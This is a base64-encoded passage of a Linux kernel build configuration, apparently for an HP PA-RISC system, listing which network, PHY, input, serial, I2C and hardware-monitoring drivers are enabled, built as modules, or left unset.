Q09ORklHX0lHQiBpcyBub3Qgc2V0CiMgQ09ORklHX0lHQlZGIGlzIG5vdCBzZXQKIyBDT05G
SUdfSVhHQiBpcyBub3Qgc2V0CiMgQ09ORklHX0lYR0JFIGlzIG5vdCBzZXQKIyBDT05GSUdf
STQwRSBpcyBub3Qgc2V0CkNPTkZJR19ORVRfVkVORE9SX0k4MjVYWD15CkNPTkZJR19MQVNJ
XzgyNTk2PXkKIyBDT05GSUdfSk1FIGlzIG5vdCBzZXQKIyBDT05GSUdfTkVUX1ZFTkRPUl9N
QVJWRUxMIGlzIG5vdCBzZXQKIyBDT05GSUdfTkVUX1ZFTkRPUl9NRUxMQU5PWCBpcyBub3Qg
c2V0CiMgQ09ORklHX05FVF9WRU5ET1JfTUlDUkVMIGlzIG5vdCBzZXQKIyBDT05GSUdfTkVU
X1ZFTkRPUl9NWVJJIGlzIG5vdCBzZXQKIyBDT05GSUdfRkVBTE5YIGlzIG5vdCBzZXQKIyBD
T05GSUdfTkVUX1ZFTkRPUl9OQVRTRU1JIGlzIG5vdCBzZXQKQ09ORklHX05FVF9WRU5ET1Jf
TkVUUk9OT01FPXkKIyBDT05GSUdfTkVUX1ZFTkRPUl9OVklESUEgaXMgbm90IHNldAojIENP
TkZJR19ORVRfVkVORE9SX09LSSBpcyBub3Qgc2V0CiMgQ09ORklHX0VUSE9DIGlzIG5vdCBz
ZXQKQ09ORklHX05FVF9QQUNLRVRfRU5HSU5FPXkKIyBDT05GSUdfSEFNQUNISSBpcyBub3Qg
c2V0CiMgQ09ORklHX1lFTExPV0ZJTiBpcyBub3Qgc2V0CkNPTkZJR19ORVRfVkVORE9SX1FM
T0dJQz15CkNPTkZJR19RTEEzWFhYPW0KQ09ORklHX1FMQ05JQz1tCkNPTkZJR19RTENOSUNf
U1JJT1Y9eQpDT05GSUdfUUxDTklDX0RDQj15CkNPTkZJR19RTENOSUNfSFdNT049eQpDT05G
SUdfUUxHRT1tCiMgQ09ORklHX05FVFhFTl9OSUMgaXMgbm90IHNldAojIENPTkZJR19RRUQg
aXMgbm90IHNldApDT05GSUdfTkVUX1ZFTkRPUl9RVUFMQ09NTT15CiMgQ09ORklHX05FVF9W
RU5ET1JfUkVBTFRFSyBpcyBub3Qgc2V0CkNPTkZJR19ORVRfVkVORE9SX1JFTkVTQVM9eQoj
IENPTkZJR19ORVRfVkVORE9SX1JEQyBpcyBub3Qgc2V0CkNPTkZJR19ORVRfVkVORE9SX1JP
Q0tFUj15CkNPTkZJR19ORVRfVkVORE9SX1NBTVNVTkc9eQojIENPTkZJR19TWEdCRV9FVEgg
aXMgbm90IHNldAojIENPTkZJR19ORVRfVkVORE9SX1NFRVEgaXMgbm90IHNldAojIENPTkZJ
R19ORVRfVkVORE9SX1NJTEFOIGlzIG5vdCBzZXQKIyBDT05GSUdfTkVUX1ZFTkRPUl9TSVMg
aXMgbm90IHNldAojIENPTkZJR19TRkMgaXMgbm90IHNldAojIENPTkZJR19ORVRfVkVORE9S
X1NNU0MgaXMgbm90IHNldAojIENPTkZJR19ORVRfVkVORE9SX1NUTUlDUk8gaXMgbm90IHNl
dAojIENPTkZJR19ORVRfVkVORE9SX1NVTiBpcyBub3Qgc2V0CkNPTkZJR19ORVRfVkVORE9S
X1NZTk9QU1lTPXkKIyBDT05GSUdfTkVUX1ZFTkRPUl9URUhVVEkgaXMgbm90IHNldAojIENP
TkZJR19ORVRfVkVORE9SX1RJIGlzIG5vdCBzZXQKIyBDT05GSUdfTkVUX1ZFTkRPUl9WSUEg
aXMgbm90IHNldAojIENPTkZJR19ORVRfVkVORE9SX1dJWk5FVCBpcyBub3Qgc2V0CiMgQ09O
RklHX0ZEREkgaXMgbm90IHNldAojIENPTkZJR19ISVBQSSBpcyBub3Qgc2V0CkNPTkZJR19Q
SFlMSUI9eQoKIwojIE1JSSBQSFkgZGV2aWNlIGRyaXZlcnMKIwojIENPTkZJR19BUVVBTlRJ
QV9QSFkgaXMgbm90IHNldAojIENPTkZJR19BVDgwM1hfUEhZIGlzIG5vdCBzZXQKIyBDT05G
SUdfQU1EX1BIWSBpcyBub3Qgc2V0CkNPTkZJR19NQVJWRUxMX1BIWT1tCkNPTkZJR19EQVZJ
Q09NX1BIWT1tCkNPTkZJR19RU0VNSV9QSFk9bQpDT05GSUdfTFhUX1BIWT1tCkNPTkZJR19D
SUNBREFfUEhZPW0KQ09ORklHX1ZJVEVTU0VfUEhZPW0KIyBDT05GSUdfVEVSQU5FVElDU19Q
SFkgaXMgbm90IHNldApDT05GSUdfU01TQ19QSFk9bQpDT05GSUdfQkNNX05FVF9QSFlMSUI9
bQpDT05GSUdfQlJPQURDT01fUEhZPW0KIyBDT05GSUdfQkNNN1hYWF9QSFkgaXMgbm90IHNl
dAojIENPTkZJR19CQ004N1hYX1BIWSBpcyBub3Qgc2V0CkNPTkZJR19JQ1BMVVNfUEhZPW0K
Q09ORklHX1JFQUxURUtfUEhZPW0KQ09ORklHX05BVElPTkFMX1BIWT1tCkNPTkZJR19TVEUx
MFhQPW0KQ09ORklHX0xTSV9FVDEwMTFDX1BIWT1tCiMgQ09ORklHX01JQ1JFTF9QSFkgaXMg
bm90IHNldAojIENPTkZJR19EUDgzODQ4X1BIWSBpcyBub3Qgc2V0CiMgQ09ORklHX0RQODM4
NjdfUEhZIGlzIG5vdCBzZXQKIyBDT05GSUdfTUlDUk9DSElQX1BIWSBpcyBub3Qgc2V0CiMg
Q09ORklHX0ZJWEVEX1BIWSBpcyBub3Qgc2V0CkNPTkZJR19NRElPX0JJVEJBTkc9bQojIENP
TkZJR19NRElPX09DVEVPTiBpcyBub3Qgc2V0CiMgQ09ORklHX01ESU9fVEhVTkRFUiBpcyBu
b3Qgc2V0CiMgQ09ORklHX01ESU9fQkNNX1VOSU1BQyBpcyBub3Qgc2V0CiMgQ09ORklHX1BQ
UCBpcyBub3Qgc2V0CkNPTkZJR19TTElQPW0KQ09ORklHX1NMSEM9bQpDT05GSUdfU0xJUF9D
T01QUkVTU0VEPXkKQ09ORklHX1NMSVBfU01BUlQ9eQpDT05GSUdfU0xJUF9NT0RFX1NMSVA2
PXkKQ09ORklHX1VTQl9ORVRfRFJJVkVSUz15CiMgQ09ORklHX1VTQl9DQVRDIGlzIG5vdCBz
ZXQKIyBDT05GSUdfVVNCX0tBV0VUSCBpcyBub3Qgc2V0CiMgQ09ORklHX1VTQl9QRUdBU1VT
IGlzIG5vdCBzZXQKIyBDT05GSUdfVVNCX1JUTDgxNTAgaXMgbm90IHNldAojIENPTkZJR19V
U0JfUlRMODE1MiBpcyBub3Qgc2V0CiMgQ09ORklHX1VTQl9MQU43OFhYIGlzIG5vdCBzZXQK
IyBDT05GSUdfVVNCX1VTQk5FVCBpcyBub3Qgc2V0CiMgQ09ORklHX1VTQl9JUEhFVEggaXMg
bm90IHNldAojIENPTkZJR19XTEFOIGlzIG5vdCBzZXQKCiMKIyBFbmFibGUgV2lNQVggKE5l
dHdvcmtpbmcgb3B0aW9ucykgdG8gc2VlIHRoZSBXaU1BWCBkcml2ZXJzCiMKIyBDT05GSUdf
V0FOIGlzIG5vdCBzZXQKIyBDT05GSUdfVk1YTkVUMyBpcyBub3Qgc2V0CiMgQ09ORklHX0lT
RE4gaXMgbm90IHNldAojIENPTkZJR19OVk0gaXMgbm90IHNldAoKIwojIElucHV0IGRldmlj
ZSBzdXBwb3J0CiMKQ09ORklHX0lOUFVUPXkKQ09ORklHX0lOUFVUX0xFRFM9eQpDT05GSUdf
SU5QVVRfRkZfTUVNTEVTUz1tCiMgQ09ORklHX0lOUFVUX1BPTExERVYgaXMgbm90IHNldAoj
IENPTkZJR19JTlBVVF9TUEFSU0VLTUFQIGlzIG5vdCBzZXQKIyBDT05GSUdfSU5QVVRfTUFU
UklYS01BUCBpcyBub3Qgc2V0CgojCiMgVXNlcmxhbmQgaW50ZXJmYWNlcwojCkNPTkZJR19J
TlBVVF9NT1VTRURFVj15CkNPTkZJR19JTlBVVF9NT1VTRURFVl9QU0FVWD15CkNPTkZJR19J
TlBVVF9NT1VTRURFVl9TQ1JFRU5fWD0xMDI0CkNPTkZJR19JTlBVVF9NT1VTRURFVl9TQ1JF
RU5fWT03NjgKIyBDT05GSUdfSU5QVVRfSk9ZREVWIGlzIG5vdCBzZXQKQ09ORklHX0lOUFVU
X0VWREVWPXkKIyBDT05GSUdfSU5QVVRfRVZCVUcgaXMgbm90IHNldAoKIwojIElucHV0IERl
dmljZSBEcml2ZXJzCiMKQ09ORklHX0lOUFVUX0tFWUJPQVJEPXkKIyBDT05GSUdfS0VZQk9B
UkRfQURQNTU4OCBpcyBub3Qgc2V0CiMgQ09ORklHX0tFWUJPQVJEX0FEUDU1ODkgaXMgbm90
IHNldApDT05GSUdfS0VZQk9BUkRfQVRLQkQ9eQpDT05GSUdfS0VZQk9BUkRfQVRLQkRfSFBf
S0VZQ09ERVM9eQojIENPTkZJR19LRVlCT0FSRF9BVEtCRF9SRElfS0VZQ09ERVMgaXMgbm90
IHNldAojIENPTkZJR19LRVlCT0FSRF9RVDEwNzAgaXMgbm90IHNldAojIENPTkZJR19LRVlC
T0FSRF9RVDIxNjAgaXMgbm90IHNldAojIENPTkZJR19LRVlCT0FSRF9MS0tCRCBpcyBub3Qg
c2V0CiMgQ09ORklHX0tFWUJPQVJEX1RDQTY0MTYgaXMgbm90IHNldAojIENPTkZJR19LRVlC
T0FSRF9UQ0E4NDE4IGlzIG5vdCBzZXQKIyBDT05GSUdfS0VZQk9BUkRfSElMX09MRCBpcyBu
b3Qgc2V0CiMgQ09ORklHX0tFWUJPQVJEX0hJTCBpcyBub3Qgc2V0CiMgQ09ORklHX0tFWUJP
QVJEX0xNODMyMyBpcyBub3Qgc2V0CiMgQ09ORklHX0tFWUJPQVJEX0xNODMzMyBpcyBub3Qg
c2V0CiMgQ09ORklHX0tFWUJPQVJEX01BWDczNTkgaXMgbm90IHNldAojIENPTkZJR19LRVlC
T0FSRF9NQ1MgaXMgbm90IHNldAojIENPTkZJR19LRVlCT0FSRF9NUFIxMjEgaXMgbm90IHNl
dAojIENPTkZJR19LRVlCT0FSRF9ORVdUT04gaXMgbm90IHNldAojIENPTkZJR19LRVlCT0FS
RF9PUEVOQ09SRVMgaXMgbm90IHNldAojIENPTkZJR19LRVlCT0FSRF9TVE9XQVdBWSBpcyBu
b3Qgc2V0CiMgQ09ORklHX0tFWUJPQVJEX1NVTktCRCBpcyBub3Qgc2V0CiMgQ09ORklHX0tF
WUJPQVJEX1hUS0JEIGlzIG5vdCBzZXQKIyBDT05GSUdfSU5QVVRfTU9VU0UgaXMgbm90IHNl
dAojIENPTkZJR19JTlBVVF9KT1lTVElDSyBpcyBub3Qgc2V0CiMgQ09ORklHX0lOUFVUX1RB
QkxFVCBpcyBub3Qgc2V0CiMgQ09ORklHX0lOUFVUX1RPVUNIU0NSRUVOIGlzIG5vdCBzZXQK
Q09ORklHX0lOUFVUX01JU0M9eQojIENPTkZJR19JTlBVVF9BRDcxNFggaXMgbm90IHNldAoj
IENPTkZJR19JTlBVVF9CTUExNTAgaXMgbm90IHNldAojIENPTkZJR19JTlBVVF9FM1gwX0JV
VFRPTiBpcyBub3Qgc2V0CiMgQ09ORklHX0lOUFVUX01NQTg0NTAgaXMgbm90IHNldAojIENP
TkZJR19JTlBVVF9NUFUzMDUwIGlzIG5vdCBzZXQKIyBDT05GSUdfSU5QVVRfQVRJX1JFTU9U
RTIgaXMgbm90IHNldAojIENPTkZJR19JTlBVVF9LRVlTUEFOX1JFTU9URSBpcyBub3Qgc2V0
CiMgQ09ORklHX0lOUFVUX0tYVEo5IGlzIG5vdCBzZXQKIyBDT05GSUdfSU5QVVRfUE9XRVJN
QVRFIGlzIG5vdCBzZXQKIyBDT05GSUdfSU5QVVRfWUVBTElOSyBpcyBub3Qgc2V0CiMgQ09O
RklHX0lOUFVUX0NNMTA5IGlzIG5vdCBzZXQKIyBDT05GSUdfSU5QVVRfUkVHVUxBVE9SX0hB
UFRJQyBpcyBub3Qgc2V0CiMgQ09ORklHX0lOUFVUX1VJTlBVVCBpcyBub3Qgc2V0CkNPTkZJ
R19IUF9TRENfUlRDPW0KIyBDT05GSUdfSU5QVVRfUENGODU3NCBpcyBub3Qgc2V0CiMgQ09O
RklHX0lOUFVUX0FEWEwzNFggaXMgbm90IHNldAojIENPTkZJR19JTlBVVF9JTVNfUENVIGlz
IG5vdCBzZXQKIyBDT05GSUdfSU5QVVRfQ01BMzAwMCBpcyBub3Qgc2V0CiMgQ09ORklHX0lO
UFVUX0RSVjI2NjVfSEFQVElDUyBpcyBub3Qgc2V0CiMgQ09ORklHX0lOUFVUX0RSVjI2Njdf
SEFQVElDUyBpcyBub3Qgc2V0CiMgQ09ORklHX1JNSTRfQ09SRSBpcyBub3Qgc2V0CgojCiMg
SGFyZHdhcmUgSS9PIHBvcnRzCiMKQ09ORklHX1NFUklPPXkKQ09ORklHX1NFUklPX1NFUlBP
UlQ9bQpDT05GSUdfU0VSSU9fR1NDUFMyPXkKQ09ORklHX0hQX1NEQz1tCkNPTkZJR19ISUxf
TUxDPW0KIyBDT05GSUdfU0VSSU9fUENJUFMyIGlzIG5vdCBzZXQKQ09ORklHX1NFUklPX0xJ
QlBTMj15CkNPTkZJR19TRVJJT19SQVc9bQojIENPTkZJR19TRVJJT19BTFRFUkFfUFMyIGlz
IG5vdCBzZXQKIyBDT05GSUdfU0VSSU9fUFMyTVVMVCBpcyBub3Qgc2V0CiMgQ09ORklHX1NF
UklPX0FSQ19QUzIgaXMgbm90IHNldAojIENPTkZJR19VU0VSSU8gaXMgbm90IHNldAojIENP
TkZJR19HQU1FUE9SVCBpcyBub3Qgc2V0CgojCiMgQ2hhcmFjdGVyIGRldmljZXMKIwpDT05G
SUdfVFRZPXkKQ09ORklHX1ZUPXkKQ09ORklHX0NPTlNPTEVfVFJBTlNMQVRJT05TPXkKQ09O
RklHX1ZUX0NPTlNPTEU9eQpDT05GSUdfSFdfQ09OU09MRT15CkNPTkZJR19WVF9IV19DT05T
T0xFX0JJTkRJTkc9eQpDT05GSUdfVU5JWDk4X1BUWVM9eQpDT05GSUdfREVWUFRTX01VTFRJ
UExFX0lOU1RBTkNFUz15CiMgQ09ORklHX0xFR0FDWV9QVFlTIGlzIG5vdCBzZXQKIyBDT05G
SUdfU0VSSUFMX05PTlNUQU5EQVJEIGlzIG5vdCBzZXQKQ09ORklHX05PWk9NST1tCiMgQ09O
RklHX05fR1NNIGlzIG5vdCBzZXQKIyBDT05GSUdfVFJBQ0VfU0lOSyBpcyBub3Qgc2V0CkNP
TkZJR19ERVZNRU09eQojIENPTkZJR19ERVZLTUVNIGlzIG5vdCBzZXQKCiMKIyBTZXJpYWwg
ZHJpdmVycwojCkNPTkZJR19TRVJJQUxfRUFSTFlDT049eQpDT05GSUdfU0VSSUFMXzgyNTA9
eQojIENPTkZJR19TRVJJQUxfODI1MF9ERVBSRUNBVEVEX09QVElPTlMgaXMgbm90IHNldApD
T05GSUdfU0VSSUFMXzgyNTBfQ09OU09MRT15CkNPTkZJR19TRVJJQUxfODI1MF9HU0M9eQpD
T05GSUdfU0VSSUFMXzgyNTBfUENJPXkKQ09ORklHX1NFUklBTF84MjUwX05SX1VBUlRTPTgK
Q09ORklHX1NFUklBTF84MjUwX1JVTlRJTUVfVUFSVFM9OApDT05GSUdfU0VSSUFMXzgyNTBf
RVhURU5ERUQ9eQpDT05GSUdfU0VSSUFMXzgyNTBfTUFOWV9QT1JUUz15CkNPTkZJR19TRVJJ
QUxfODI1MF9TSEFSRV9JUlE9eQojIENPTkZJR19TRVJJQUxfODI1MF9ERVRFQ1RfSVJRIGlz
IG5vdCBzZXQKIyBDT05GSUdfU0VSSUFMXzgyNTBfUlNBIGlzIG5vdCBzZXQKIyBDT05GSUdf
U0VSSUFMXzgyNTBfRlNMIGlzIG5vdCBzZXQKIyBDT05GSUdfU0VSSUFMXzgyNTBfRFcgaXMg
bm90IHNldAojIENPTkZJR19TRVJJQUxfODI1MF9NSUQgaXMgbm90IHNldAojIENPTkZJR19T
RVJJQUxfODI1MF9NT1hBIGlzIG5vdCBzZXQKCiMKIyBOb24tODI1MCBzZXJpYWwgcG9ydCBz
dXBwb3J0CiMKIyBDT05GSUdfU0VSSUFMX1VBUlRMSVRFIGlzIG5vdCBzZXQKQ09ORklHX1NF
UklBTF9NVVg9eQpDT05GSUdfU0VSSUFMX01VWF9DT05TT0xFPXkKQ09ORklHX1NFUklBTF9D
T1JFPXkKQ09ORklHX1NFUklBTF9DT1JFX0NPTlNPTEU9eQpDT05GSUdfU0VSSUFMX0pTTT1t
CiMgQ09ORklHX1NFUklBTF9TQ0NOWFAgaXMgbm90IHNldAojIENPTkZJR19TRVJJQUxfU0Mx
NklTN1hYIGlzIG5vdCBzZXQKIyBDT05GSUdfU0VSSUFMX0FMVEVSQV9KVEFHVUFSVCBpcyBu
b3Qgc2V0CiMgQ09ORklHX1NFUklBTF9BTFRFUkFfVUFSVCBpcyBub3Qgc2V0CiMgQ09ORklH
X1NFUklBTF9BUkMgaXMgbm90IHNldAojIENPTkZJR19TRVJJQUxfUlAyIGlzIG5vdCBzZXQK
IyBDT05GSUdfU0VSSUFMX0ZTTF9MUFVBUlQgaXMgbm90IHNldAojIENPTkZJR19TRVJJQUxf
TVZFQlVfVUFSVCBpcyBub3Qgc2V0CiMgQ09ORklHX0lQTUlfSEFORExFUiBpcyBub3Qgc2V0
CkNPTkZJR19IV19SQU5ET009bQpDT05GSUdfSFdfUkFORE9NX1RJTUVSSU9NRU09bQpDT05G
SUdfSFdfUkFORE9NX1RQTT1tCiMgQ09ORklHX1IzOTY0IGlzIG5vdCBzZXQKIyBDT05GSUdf
QVBQTElDT00gaXMgbm90IHNldAojIENPTkZJR19SQVdfRFJJVkVSIGlzIG5vdCBzZXQKQ09O
RklHX1RDR19UUE09bQojIENPTkZJR19UQ0dfVElTX0kyQ19BVE1FTCBpcyBub3Qgc2V0CiMg
Q09ORklHX1RDR19USVNfSTJDX0lORklORU9OIGlzIG5vdCBzZXQKIyBDT05GSUdfVENHX1RJ
U19JMkNfTlVWT1RPTiBpcyBub3Qgc2V0CkNPTkZJR19UQ0dfQVRNRUw9bQpDT05GSUdfREVW
UE9SVD15CiMgQ09ORklHX1hJTExZQlVTIGlzIG5vdCBzZXQKCiMKIyBJMkMgc3VwcG9ydAoj
CkNPTkZJR19JMkM9eQpDT05GSUdfSTJDX0JPQVJESU5GTz15CkNPTkZJR19JMkNfQ09NUEFU
PXkKIyBDT05GSUdfSTJDX0NIQVJERVYgaXMgbm90IHNldAojIENPTkZJR19JMkNfTVVYIGlz
IG5vdCBzZXQKQ09ORklHX0kyQ19IRUxQRVJfQVVUTz15CgojCiMgSTJDIEhhcmR3YXJlIEJ1
cyBzdXBwb3J0CiMKCiMKIyBQQyBTTUJ1cyBob3N0IGNvbnRyb2xsZXIgZHJpdmVycwojCiMg
Q09ORklHX0kyQ19BTEkxNTM1IGlzIG5vdCBzZXQKIyBDT05GSUdfSTJDX0FMSTE1NjMgaXMg
bm90IHNldAojIENPTkZJR19JMkNfQUxJMTVYMyBpcyBub3Qgc2V0CiMgQ09ORklHX0kyQ19B
TUQ3NTYgaXMgbm90IHNldAojIENPTkZJR19JMkNfQU1EODExMSBpcyBub3Qgc2V0CiMgQ09O
RklHX0kyQ19JODAxIGlzIG5vdCBzZXQKIyBDT05GSUdfSTJDX0lTQ0ggaXMgbm90IHNldAoj
IENPTkZJR19JMkNfUElJWDQgaXMgbm90IHNldAojIENPTkZJR19JMkNfTkZPUkNFMiBpcyBu
b3Qgc2V0CiMgQ09ORklHX0kyQ19TSVM1NTk1IGlzIG5vdCBzZXQKIyBDT05GSUdfSTJDX1NJ
UzYzMCBpcyBub3Qgc2V0CiMgQ09ORklHX0kyQ19TSVM5NlggaXMgbm90IHNldAojIENPTkZJ
R19JMkNfVklBIGlzIG5vdCBzZXQKIyBDT05GSUdfSTJDX1ZJQVBSTyBpcyBub3Qgc2V0Cgoj
CiMgSTJDIHN5c3RlbSBidXMgZHJpdmVycyAobW9zdGx5IGVtYmVkZGVkIC8gc3lzdGVtLW9u
LWNoaXApCiMKIyBDT05GSUdfSTJDX0RFU0lHTldBUkVfUExBVEZPUk0gaXMgbm90IHNldAoj
IENPTkZJR19JMkNfREVTSUdOV0FSRV9QQ0kgaXMgbm90IHNldAojIENPTkZJR19JMkNfT0NP
UkVTIGlzIG5vdCBzZXQKIyBDT05GSUdfSTJDX1BDQV9QTEFURk9STSBpcyBub3Qgc2V0CiMg
Q09ORklHX0kyQ19QWEFfUENJIGlzIG5vdCBzZXQKIyBDT05GSUdfSTJDX1NJTVRFQyBpcyBu
b3Qgc2V0CiMgQ09ORklHX0kyQ19YSUxJTlggaXMgbm90IHNldAoKIwojIEV4dGVybmFsIEky
Qy9TTUJ1cyBhZGFwdGVyIGRyaXZlcnMKIwojIENPTkZJR19JMkNfRElPTEFOX1UyQyBpcyBu
b3Qgc2V0CiMgQ09ORklHX0kyQ19QQVJQT1JUX0xJR0hUIGlzIG5vdCBzZXQKIyBDT05GSUdf
STJDX1JPQk9URlVaWl9PU0lGIGlzIG5vdCBzZXQKIyBDT05GSUdfSTJDX1RBT1NfRVZNIGlz
IG5vdCBzZXQKIyBDT05GSUdfSTJDX1RJTllfVVNCIGlzIG5vdCBzZXQKCiMKIyBPdGhlciBJ
MkMvU01CdXMgYnVzIGRyaXZlcnMKIwojIENPTkZJR19JMkNfU1RVQiBpcyBub3Qgc2V0CiMg
Q09ORklHX0kyQ19TTEFWRSBpcyBub3Qgc2V0CiMgQ09ORklHX0kyQ19ERUJVR19DT1JFIGlz
IG5vdCBzZXQKIyBDT05GSUdfSTJDX0RFQlVHX0FMR08gaXMgbm90IHNldAojIENPTkZJR19J
MkNfREVCVUdfQlVTIGlzIG5vdCBzZXQKIyBDT05GSUdfU1BJIGlzIG5vdCBzZXQKIyBDT05G
SUdfU1BNSSBpcyBub3Qgc2V0CiMgQ09ORklHX0hTSSBpcyBub3Qgc2V0CgojCiMgUFBTIHN1
cHBvcnQKIwpDT05GSUdfUFBTPW0KIyBDT05GSUdfUFBTX0RFQlVHIGlzIG5vdCBzZXQKIyBD
T05GSUdfTlRQX1BQUyBpcyBub3Qgc2V0CgojCiMgUFBTIGNsaWVudHMgc3VwcG9ydAojCiMg
Q09ORklHX1BQU19DTElFTlRfS1RJTUVSIGlzIG5vdCBzZXQKIyBDT05GSUdfUFBTX0NMSUVO
VF9MRElTQyBpcyBub3Qgc2V0CiMgQ09ORklHX1BQU19DTElFTlRfR1BJTyBpcyBub3Qgc2V0
CgojCiMgUFBTIGdlbmVyYXRvcnMgc3VwcG9ydAojCgojCiMgUFRQIGNsb2NrIHN1cHBvcnQK
IwpDT05GSUdfUFRQXzE1ODhfQ0xPQ0s9bQoKIwojIEVuYWJsZSBQSFlMSUIgYW5kIE5FVFdP
UktfUEhZX1RJTUVTVEFNUElORyB0byBzZWUgdGhlIGFkZGl0aW9uYWwgY2xvY2tzLgojCiMg
Q09ORklHX1cxIGlzIG5vdCBzZXQKQ09ORklHX1BPV0VSX1NVUFBMWT15CiMgQ09ORklHX1BP
V0VSX1NVUFBMWV9ERUJVRyBpcyBub3Qgc2V0CiMgQ09ORklHX1BEQV9QT1dFUiBpcyBub3Qg
c2V0CiMgQ09ORklHX1RFU1RfUE9XRVIgaXMgbm90IHNldAojIENPTkZJR19CQVRURVJZX0RT
Mjc4MCBpcyBub3Qgc2V0CiMgQ09ORklHX0JBVFRFUllfRFMyNzgxIGlzIG5vdCBzZXQKIyBD
T05GSUdfQkFUVEVSWV9EUzI3ODIgaXMgbm90IHNldAojIENPTkZJR19CQVRURVJZX1NCUyBp
cyBub3Qgc2V0CiMgQ09ORklHX0JBVFRFUllfQlEyN1hYWCBpcyBub3Qgc2V0CiMgQ09ORklH
X0JBVFRFUllfTUFYMTcwNDAgaXMgbm90IHNldAojIENPTkZJR19CQVRURVJZX01BWDE3MDQy
IGlzIG5vdCBzZXQKIyBDT05GSUdfQ0hBUkdFUl9NQVg4OTAzIGlzIG5vdCBzZXQKIyBDT05G
SUdfQ0hBUkdFUl9MUDg3MjcgaXMgbm90IHNldAojIENPTkZJR19DSEFSR0VSX01BTkFHRVIg
aXMgbm90IHNldAojIENPTkZJR19DSEFSR0VSX0JRMjQxNVggaXMgbm90IHNldAojIENPTkZJ
R19DSEFSR0VSX1NNQjM0NyBpcyBub3Qgc2V0CiMgQ09ORklHX0JBVFRFUllfR0FVR0VfTFRD
Mjk0MSBpcyBub3Qgc2V0CiMgQ09ORklHX1BPV0VSX1JFU0VUIGlzIG5vdCBzZXQKIyBDT05G
SUdfUE9XRVJfQVZTIGlzIG5vdCBzZXQKQ09ORklHX0hXTU9OPXkKQ09ORklHX0hXTU9OX1ZJ
RD1tCiMgQ09ORklHX0hXTU9OX0RFQlVHX0NISVAgaXMgbm90IHNldAoKIwojIE5hdGl2ZSBk
cml2ZXJzCiMKIyBDT05GSUdfU0VOU09SU19BRDc0MTQgaXMgbm90IHNldAojIENPTkZJR19T
RU5TT1JTX0FENzQxOCBpcyBub3Qgc2V0CiMgQ09ORklHX1NFTlNPUlNfQURNMTAyMSBpcyBu
b3Qgc2V0CiMgQ09ORklHX1NFTlNPUlNfQURNMTAyNSBpcyBub3Qgc2V0CiMgQ09ORklHX1NF
TlNPUlNfQURNMTAyNiBpcyBub3Qgc2V0CiMgQ09ORklHX1NFTlNPUlNfQURNMTAyOSBpcyBu
b3Qgc2V0CiMgQ09ORklHX1NFTlNPUlNfQURNMTAzMSBpcyBub3Qgc2V0CiMgQ09ORklHX1NF
TlNPUlNfQURNOTI0MCBpcyBub3Qgc2V0CiMgQ09ORklHX1NFTlNPUlNfQURUNzQxMCBpcyBu
b3Qgc2V0CiMgQ09ORklHX1NFTlNPUlNfQURUNzQxMSBpcyBub3Qgc2V0CiMgQ09ORklHX1NF
TlNPUlNfQURUNzQ2MiBpcyBub3Qgc2V0CiMgQ09ORklHX1NFTlNPUlNfQURUNzQ3MCBpcyBu
b3Qgc2V0CiMgQ09ORklHX1NFTlNPUlNfQURUNzQ3NSBpcyBub3Qgc2V0CiMgQ09ORklHX1NF
TlNPUlNfQVNDNzYyMSBpcyBub3Qgc2V0CiMgQ09ORklHX1NFTlNPUlNfQVRYUDEgaXMgbm90
IHNldAojIENPTkZJR19TRU5TT1JTX0RTNjIwIGlzIG5vdCBzZXQKIyBDT05GSUdfU0VOU09S
U19EUzE2MjEgaXMgbm90IHNldApDT05GSUdfU0VOU09SU19JNUtfQU1CPW0KIyBDT05GSUdf
U0VOU09SU19GNzE4MDVGIGlzIG5vdCBzZXQKQ09ORklHX1NFTlNPUlNfRjcxODgyRkc9bQoj
IENPTkZJR19TRU5TT1JTX0Y3NTM3NVMgaXMgbm90IHNldAojIENPTkZJR19TRU5TT1JTX0dM
NTE4U00gaXMgbm90IHNldAojIENPTkZJR19TRU5TT1JTX0dMNTIwU00gaXMgbm90IHNldAoj
IENPTkZJR19TRU5TT1JTX0c3NjBBIGlzIG5vdCBzZXQKIyBDT05GSUdfU0VOU09SU19HNzYy
IGlzIG5vdCBzZXQKIyBDT05GSUdfU0VOU09SU19ISUg2MTMwIGlzIG5vdCBzZXQKIyBDT05G
SUdfU0VOU09SU19JVDg3IGlzIG5vdCBzZXQKIyBDT05GSUdfU0VOU09SU19KQzQyIGlzIG5v
dCBzZXQKIyBDT05GSUdfU0VOU09SU19QT1dSMTIyMCBpcyBub3Qgc2V0CiMgQ09ORklHX1NF
TlNPUlNfTElORUFHRSBpcyBub3Qgc2V0CiMgQ09ORklHX1NFTlNPUlNfTFRDMjk0NSBpcyBu
b3Qgc2V0CiMgQ09ORklHX1NFTlNPUlNfTFRDMjk5MCBpcyBub3Qgc2V0CiMgQ09ORklHX1NF
TlNPUlNfTFRDNDE1MSBpcyBub3Qgc2V0CiMgQ09ORklHX1NFTlNPUlNfTFRDNDIxNSBpcyBu
b3Qgc2V0CiMgQ09ORklHX1NFTlNPUlNfTFRDNDIyMiBpcyBub3Qgc2V0CiMgQ09ORklHX1NF
TlNPUlNfTFRDNDI0NSBpcyBub3Qgc2V0CiMgQ09ORklHX1NFTlNPUlNfTFRDNDI2MCBpcyBu
b3Qgc2V0CiMgQ09ORklHX1NFTlNPUlNfTFRDNDI2MSBpcyBub3Qgc2V0CiMgQ09ORklHX1NF
TlNPUlNfTUFYMTYwNjUgaXMgbm90IHNldAojIENPTkZJR19TRU5TT1JTX01BWDE2MTkgaXMg
bm90IHNldAojIENPTkZJR19TRU5TT1JTX01BWDE2NjggaXMgbm90IHNldAojIENPTkZJR19T
RU5TT1JTX01BWDE5NyBpcyBub3Qgc2V0CiMgQ09ORklHX1NFTlNPUlNfTUFYNjYzOSBpcyBu
b3Qgc2V0CiMgQ09ORklHX1NFTlNPUlNfTUFYNjY0MiBpcyBub3Qgc2V0CiMgQ09ORklHX1NF
TlNPUlNfTUFYNjY1MCBpcyBub3Qgc2V0CiMgQ09ORklHX1NFTlNPUlNfTUFYNjY5NyBpcyBu
b3Qgc2V0CiMgQ09ORklHX1NFTlNPUlNfTUFYMzE3OTAgaXMgbm90IHNldAojIENPTkZJR19T
RU5TT1JTX01DUDMwMjEgaXMgbm90IHNldAojIENPTkZJR19TRU5TT1JTX0xNNjMgaXMgbm90
IHNldAojIENPTkZJR19TRU5TT1JTX0xNNzMgaXMgbm90IHNldAojIENPTkZJR19TRU5TT1JT
X0xNNzUgaXMgbm90IHNldAojIENPTkZJR19TRU5TT1JTX0xNNzcgaXMgbm90IHNldAojIENP
